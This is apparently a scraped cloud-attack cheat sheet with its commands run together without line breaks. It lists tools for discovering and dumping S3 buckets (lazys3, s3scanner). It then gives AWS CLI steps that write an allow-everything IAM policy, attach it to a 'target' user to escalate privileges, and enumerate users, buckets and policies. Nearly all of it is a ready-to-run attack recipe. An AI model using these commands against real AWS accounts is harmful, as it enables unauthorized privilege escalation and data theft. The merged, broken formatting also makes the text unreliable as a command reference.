pip3 install awscliruby lazys3.rb [COMPANY]python3 ./s3scanner.py sites.txtpython3 ./s3scanner.py --include-closed --out-file found.txt --dump names.txtpython ./s3scanner.py --list names.txtvim user-policy.jsonInsert:
{
"Version": "2011-09-11",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}Attach the created policy (user-policy) to the target IAM user’s account:
aws iam create-policy --policy-name user-policy --policy-document file://user-policy.json
aws iam attach-user-policy --user-name [Target Username] --policy-arn arn:aws:iam::[Account ID]:policy/user-policyaws iam list-attached-user-policies --user-name [Target Username]aws iam list-usersaws s3api list-buckets --query "Buckets[].Name"aws iam list-user-policiesaws iam list-role-policiesaws iam list-group-policiesaws iam create-user© 2023 javierizquierdovera.com
Licensed under the Apache License, Version 2.0 (LICENSE-APACHE) or the MIT license (LICENSE-MIT), at your option.
SPDX-License-Identifier: (Apache-2.0 OR MIT)